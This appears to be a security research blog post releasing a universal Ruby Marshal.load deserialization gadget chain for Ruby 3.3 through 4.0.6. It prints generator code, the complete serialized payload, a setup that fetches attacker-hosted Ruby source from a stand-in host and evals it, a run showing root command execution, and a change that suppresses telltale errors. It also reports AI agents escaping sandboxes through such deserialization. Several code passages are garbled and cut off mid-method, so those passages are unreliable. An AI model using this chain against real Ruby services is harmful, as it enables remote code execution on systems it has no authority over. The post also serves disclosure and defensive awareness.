Ruby 4.0 Universal RCE Deserialization Gadget Chain
A new universal chain that turns a single Marshal.load into command execution on Ruby 4.0.6, the most recent release.
web
ruby
deserialisation
Introduction
On August 5, 2026, OpenAI disclosed that a collective of AI agents under evaluation had broken out of their sandboxes and taken admin control of the cluster they were running on. It got there, in part, by exploiting Ruby deserialization to execute commands. That caught our attention, because in 2018 we published the first universal RCE deserialization gadget chain for Ruby, built entirely from the standard library with no dependencies. That chain works only against Ruby versions up to 2.6.10, and the most recent public chain only works up to 3.4-rc.
This post releases a new universal chain that turns a single Marshal.load into command execution on Ruby 4.0.6, the most recent release at the time of writing, and works unchanged as far back as 3.3. The chain is built with new gadgets from untapped sources as well as old gadgets put to new use.
Background
Serialization is the process of converting an object into a series of bytes which can then be transferred over a network or stored on the filesystem or in a database. These bytes include all the information required to reconstruct the original object. This reconstruction process is called deserialization. Each programming language typically has its own native serialization format and may refer to this process by a name other than serialization/deserialization. In the case of Ruby, the terms marshalling and unmarshalling are commonly used, and the operations are provided by Marshal.dump and Marshal.load.
Thirteen years of Ruby deserialization
Universal Ruby deserialization gadget chains begin in 2018, built on earlier research into application specific chains against Ruby on Rails, and that universal work then fed back into the application specific chains that came after it. Several of the milestones below supply pieces that this chain builds on.
- January 10, 2013 - Rails 3.2.10 Remote Code Execution by Hailey Somerville
- January 31, 2013 - Ruby bug tracker issue by Hailey Somerville
- May 6, 2016 - Attacking Ruby on Rails Applications by joernchen of Phenoelit
- November 8, 2018 - Ruby 2.x Universal RCE Deserialization Gadget Chain by Luke Jahnke (elttam)
- January 2, 2019 - CVE-2019-5420 by ooooooo_q
- March 2, 2019 - Universal RCE with Ruby YAML.load by Etienne Stalmans
- June 20, 2019 - Remote Code Execution via Ruby on Rails Active Storage Insecure Deserialization by Sivathmican Sivakumaran and Pengsu Cheng (Trend Micro Security Research Team)
- January 7, 2021 - Universal Deserialisation Gadget for Ruby 2.x-3.x by William Bowling
- January 9, 2021 - Universal RCE with Ruby YAML.load (versions > 2.7) by Etienne Stalmans
- March 28, 2022 - Ruby Deserialization - Gadget on Rails by httpvoid
- April 4, 2022 - Round Two: An Updated Universal Deserialisation Gadget for Ruby 2.x-3.x by William Bowling
- May 17, 2022 - Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations by Ben Lincoln (Bishop Fox)
- March 13, 2024 - Discovering Deserialization Gadget Chains in Rubyland by Alex Leahu (Include Security)
- June 20, 2024 - Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects by Peter Stöckli (GitHub)
- October 17, 2024 - Updated ruby gadget for marshal loading by Leonardo Giovannini (Doyensec)
- November 24, 2024 - Ruby 3.4 Universal RCE Deserialization Gadget Chain by Luke Jahnke
- December 3, 2024 - Gem::SafeMarshal escape by Luke Jahnke
- August 20, 2025 - Marshal madness: A brief history of Ruby deserialization exploits by Matt Schwager (Trail of Bits)
- August 5, 2026 - Disclosure of in-the-wild exploitation of Ruby (JRuby) deserialization by autonomous AI agents, disclosed by OpenAI at Black Hat USA 2026
- 2026 - Ruby 4.0 Universal RCE Deserialization Gadget Chain by Luke Jahnke (this post)
How the 3.4 chain broke
The most recent public chain, published in late 2024, reached command execution on Ruby 3.4-rc with this payload:
Marshal.dump(
[
Gem::SpecFetcher,
to_s_wrapper(
call_url_and_create_folder(
"rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz"
)
),
to_s_wrapper(exec_gadget)
]
)
Ten days after it was published, two commits landed in RubyGems that removed the gadgets it relied on, each citing the writeup as motivation. Both shipped in Ruby 3.4.0, which is why the chain works against the release candidate but not against the release.
The first commit, 62b49465f8, is titled "Improve type checking in marshal_load methods" and notes that it "Makes it harder to use those classes as gadgets".
Gem::Version#marshal_load had passed the deserialized value straight to the constructor without validation, where Gem::Version.correct? calls to_s on it:
def marshal_load(array)
- initialize array[0]
+ string = array[0]
+ raise TypeError, "wrong version string" unless string.is_a?(String)
+
+ initialize string
end
The second commit, 89ad04db86, is titled "Stop storing executable names in ivars" and notes that it "Removes usage of these classes as ACE gadgets".
Gem::Source::Git and Gem::Resolver::GitSet had stored the git executable name in an instance variable, which Marshal restores directly and which was later handed to a process spawn:
- @git = ENV["git"] || "git"
The name is now read from the environment at the point of use, so there is no instance variable left to set.
These two commits broke to_s_wrapper and exec_gadget, but Gem::SpecFetcher and call_url_and_create_folder were left alone and work in Ruby 4.0.
Building a new chain
Expanding the available set of gadgets
The chain opens with Gem::SpecFetcher not because the class does any work, but because Marshal.load has to resolve the constant, and resolving it fires the RubyGems autoload that requires the file defining it, which in turn requires files of its own, and so on. A bare Ruby process therefore starts with a small set of classes reachable by a chain and ends up, after a single constant reference, with a much larger one to pick gadgets from, including Gem::URI::Generic, Gem::RequestSet::Lockfile and Gem::StubSpecification, all of which the rest of this chain depends on.
Finding a new code execution destination
A suitable replacement for exec_gadget is supplied by Gem::Specification.load, where Gem.open_file resolves to File.open:
class Gem::Specification **Java aficionados will recognise this.**`HashMap.readObject` calls `hashCode` on every key it restores, which is the entry point for a large share of the chains in [ysoserial](https://github.com/frohoff/ysoserial).
The trigger is not a niche `marshal_load` override that a maintainer can quietly tighten, but the interaction between two fundamental features of the language, namely hashing an object and reconstructing a `Hash` during deserialization. Removing it would mean changing the way core data structures behave, which is exactly the kind of tradeoff where a gadget can be cheap to use and expensive to forbid.
### Getting code onto the filesystem
Being able to `eval` an arbitrary file on disk is only useful if the chain can also write attacker-controlled code to disk. Rather than build a new primitive for this, the chain reuses `call_url_and_create_folder`, which is one of the pieces of the 3.4-rc chain that the maintainers left untouched.
In that earlier chain the gadget created the directories that the command-execution gadget depended on, since `Gem::Source::Git` began by changing into one of those directories and would fail if it did not already exist. Here it is put to a different use: its URL-download functionality fetches attacker-hosted content and writes that content onto the filesystem at a predictable and typically writable path by way of directory traversal.
### Triggering the download
The 3.4 chain invoked `call_url_and_create_folder` through `to_s_wrapper`, which the type checking commit removed, so the gadget needs a new caller.
It also needs a caller that tolerates failure. The gadget expects the URL it fetches to hold a serialized object and raises when it does not, and what has to land on disk is Ruby source. A polyglot that is valid as both is not possible, because the Marshal header leaves no room for one. The download and the write happen before the parse, so the exception arrives after the useful work is done.
Ruby's own `Time` deserialization provides both. `time_mload` validates the zone name inside `rb_rescue`, which discards any exception it raises:
```c
static VALUE
validate_zone_name(VALUE zone_name)
{
StringValueCStr(zone_name);
return zone_name;
}
static VALUE
time_mload(VALUE time, VALUE str)
{
[...]
get_attr(zone, (zone = rb_rescue(validate_zone_name, zone, 0, Qnil)));
[...]
time_mload backs Time._load, which Marshal.load calls when rebuilding a Time. The zone name comes straight from the payload, so a crafted Time puts an arbitrary object into validate_zone_name. StringValueCStr then calls to_str on it rather than to_s.
Gem::URI::Generic closes that gap. Its to_str is an alias of to_s, and that method calls to_s on the @port attribute:
module Gem::URI
class Generic
def to_s
[...]
str nil}
class Gem::StubSpecification
def hash
0
end
end
placeholder_gadget_chain = Marshal.dump(
[
Gem::SpecFetcher,
time_placeholder,
{eval_file_gadget("/tmp/quick/Marshal.4.8/name-.gemspec") => nil}
]
)
# this is fragile due to TYPE_SYMLINK having position dependency
# so we ensure symbol count matches (3 in match, 3 in replace)
rce_gadget_chain = placeholder_gadget_chain.gsub(
"o:\vObject\a:\x18@offset_placeholderi\x00:\x16@zone_placeholder",
"Iu:\x09Time\x0d\x00\x00\x00\x80\x00\x00\x00\x00\x07:\x0boffseti\x05:\x09zone"
).b
puts rce_gadget_chain.inspect
Every gadget above plays one of two roles: getting the attacker's code onto disk, or reading it back and running it. Laid out as a single chain, the whole thing looks like this:

New gadget chain flow
The payload
Running the generator emits the finished chain:
"\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\n@porto:\x1EGem::RequestSet::Lockfile\n:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\n@nameI\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\n@pathI\"\x06/\x06;\x10T:\f@schemeI\"\as3\x06;\x10T:\n@hostI\"\eexample.com/poc-id.rz?\x06;\x10T;\tI"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\n@userI\"\bany\x06;\x10T:\x0E@passwordI\"\bany\x06;\x10T:\x12@update_cacheT:\x12@dependencies[\x00:\x13@gem_deps_fileI\"\t/pwd\x06;\x10T:\x12@gem_deps_dirI\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded_fromI\"/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0"
Two things have to be in place before it is loaded. The deflated payload from earlier must be served as poc-id.rz over HTTPS by the host named in @host, which is example.com here and would be a reachable attacker controlled host in practice. The target must also be able to write to /tmp, though any writable directory would do if the traversal and the filename are changed together. Nothing else is required of the target: no gems beyond those loaded and available by default in Ruby, no application code, and no prior state on disk.
Running it
Running the generated payload against an empty Ruby process using the Docker image ruby:4.0.6 outputs uid=0(root) gid=0(root) groups=0(root), showing the id binary was successfully executed:
$ sudo docker run --rm -it ruby:4.0.6 ruby -e 'Marshal.load("\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\n@porto:\x1EGem::RequestSet::Lockfile\n:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\n@nameI\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\n@pathI\"\x06/\x06;\x10T:\f@schemeI\"\as3\x06;\x10T:\n@hostI\"\eexample.com/poc-id.rz?\x06;\x10T;\tI"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\n@userI\"\bany\x06;\x10T:\x0E@passwordI\"\bany\x06;\x10T:\x12@update_cacheT:\x12@dependencies[\x00:\x13@gem_deps_fileI\"\t/pwd\x06;\x10T:\x12@gem_deps_dirI\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded_fromI\"/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0")'
uid=0(root) gid=0(root) groups=0(root)
[/tmp/quick/Marshal.4.8/name-.gemspec] isn't a Gem::Specification (NilClass instead).
/usr/local/lib/ruby/4.0.0/rubygems/stub_specification.rb:155:in 'Gem::StubSpecification#name': undefined method 'name' for nil (NoMethodError)
data.name
^^^^^
from /usr/local/lib/ruby/4.0.0/rubygems/stub_specification.rb:217:in 'Gem::StubSpecification#hash'
from -e:1:in 'Marshal.load'
from -e:1:in ''
The exception that follows is expected and harmless. Gem::Specification.load has already passed the fetched source to eval, but that source ends with puts, so the value it hands back is nil rather than a gemspec. The method warns and returns nil, and Gem::StubSpecification#hash raises when it tries to read a name from it.
It is also avoidable, which matters if a stack trace in the logs or an aborted request is something you would rather not leave behind. Gem::StubSpecification#hash is name.hash ^ version.hash ^ platform.hash, and each of those three reads a field off whatever Gem::Specification.load returned. Ending the evaluated source with a Gem::Specification is therefore enough for Marshal.load to return normally, with no warning and no exception:
puts `id`
Gem::Specification.new do |s|
s.name = "poc"
s.version = "1.0.0"
end
One side effect is worth noting for anyone reproducing this: the evaluated source is left behind at /tmp/quick/Marshal.4.8/name-.gemspec.
Conclusion
The chain turns a single Marshal.load into command execution on Ruby 4.0.6 and works unchanged as far back as 3.3. It needs no gems beyond those that ship with Ruby, no application code, and no prior state on disk. Outside the target process it needs only a reachable HTTPS host and a writable directory.
Little of it had to be built from scratch. The two commits that followed the 3.4 writeup removed the gadgets they named and left call_url_and_create_folder alone, so it is still here, doing a different job than it did before: fetching attacker-controlled bytes onto disk rather than creating a directory some other gadget depended on. Gadgets outlive the chains they are found in. When a chain stops working, the surviving gadgets can be recycled into the next chain.
What is new is where the rest of the chain comes from. Every public Ruby chain until now has been built entirely out of methods written in Ruby, in the standard library or RubyGems, that a maintainer can tighten in a five-line diff, which is exactly what happened to Gem::Version#marshal_load. This one reaches below that. The failure-tolerant caller it needs is time_mload, which is C, and which throws away the exception the download gadget raises because rb_rescue was there to keep a malformed zone name from breaking Time deserialization. The trigger is C as well, and is not an override at all but the fact that a Hash calls hash on its keys while Marshal.load rebuilds it. Neither is a stray convenience that can be quietly deleted. Removing them means changing how Time deserialization tolerates bad input and how core data structures behave, and neither is a change the language can realistically make.
So the advice does not change, but it is worth being precise about why. Removing gadgets raises the cost of writing a chain; it does not remove the capability, because the gadgets are spread across a library that is loaded into every Ruby process by default and are found faster than they are patched. Marshal.load on untrusted input is command execution, on the current release, with no dependencies. Treat it that way and use a data-only format instead.
This post opened with a collective of AI agents that took admin control of a cluster, in part through Ruby deserialization. Whether they assembled a chain of their own or reused a published one, the assumption that no chain exists for the version in front of you was never a control, and it is no longer even a delay. If you came to this post wondering whether Ruby deserialization is still worth caring about in 2026, the agents that broke out of that cluster have already answered it: yes.
Until we deserialize again, ciao bella!
Ruby 4.0 Universal RCE Deserialization Gadget Chain
Cruising for Shells in Flowise
Your House Has an FFmpeg Problem
Exploiting Auth0 Defaults in XSS Attacks
ORM Leaking More Than You Joined For
Gotchas in Email Parsing - Lessons From Jakarta Mail
New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails
DUCTF 2024 ESPecially Secure Boot Writeup
plORMbing your Prisma ORM with Time-based Attacks
Abusing Amazon VPC CNI plugin for Kubernetes
PwnAssistant - Controlling /home's via a Home Assistant RCE
Cracking the Odd Case of Randomness in Java
Attacks on GCM with Repeated Nonces
Simple Bugs With Complex Exploits
Hacking with Environment Variables
Are you winning if you're pinning?
Ruby 2.x Universal RCE Deserialization Gadget Chain
Fuze Multi-Card Technology Security Review
Remote LD_PRELOAD Exploitation
Building Hardened Docker Images from Scratch with Kubler
Intro to SDR and RF Signal Analysis
EFF secure messaging scorecard review
Vuln research on the WAG54G home router
A review of the EFF secure messaging scorecard...
Gaining console access to the WAG54G home router
Why I recommend Chrome to family...
Cruising for Shells in Flowise
Key: 87169502a105dcb5
Suite 343
3 Albert Coates Ln
Melbourne, VIC, 3000
© 2026 elttam Security Pty Ltd. ABN 54 684 907 702




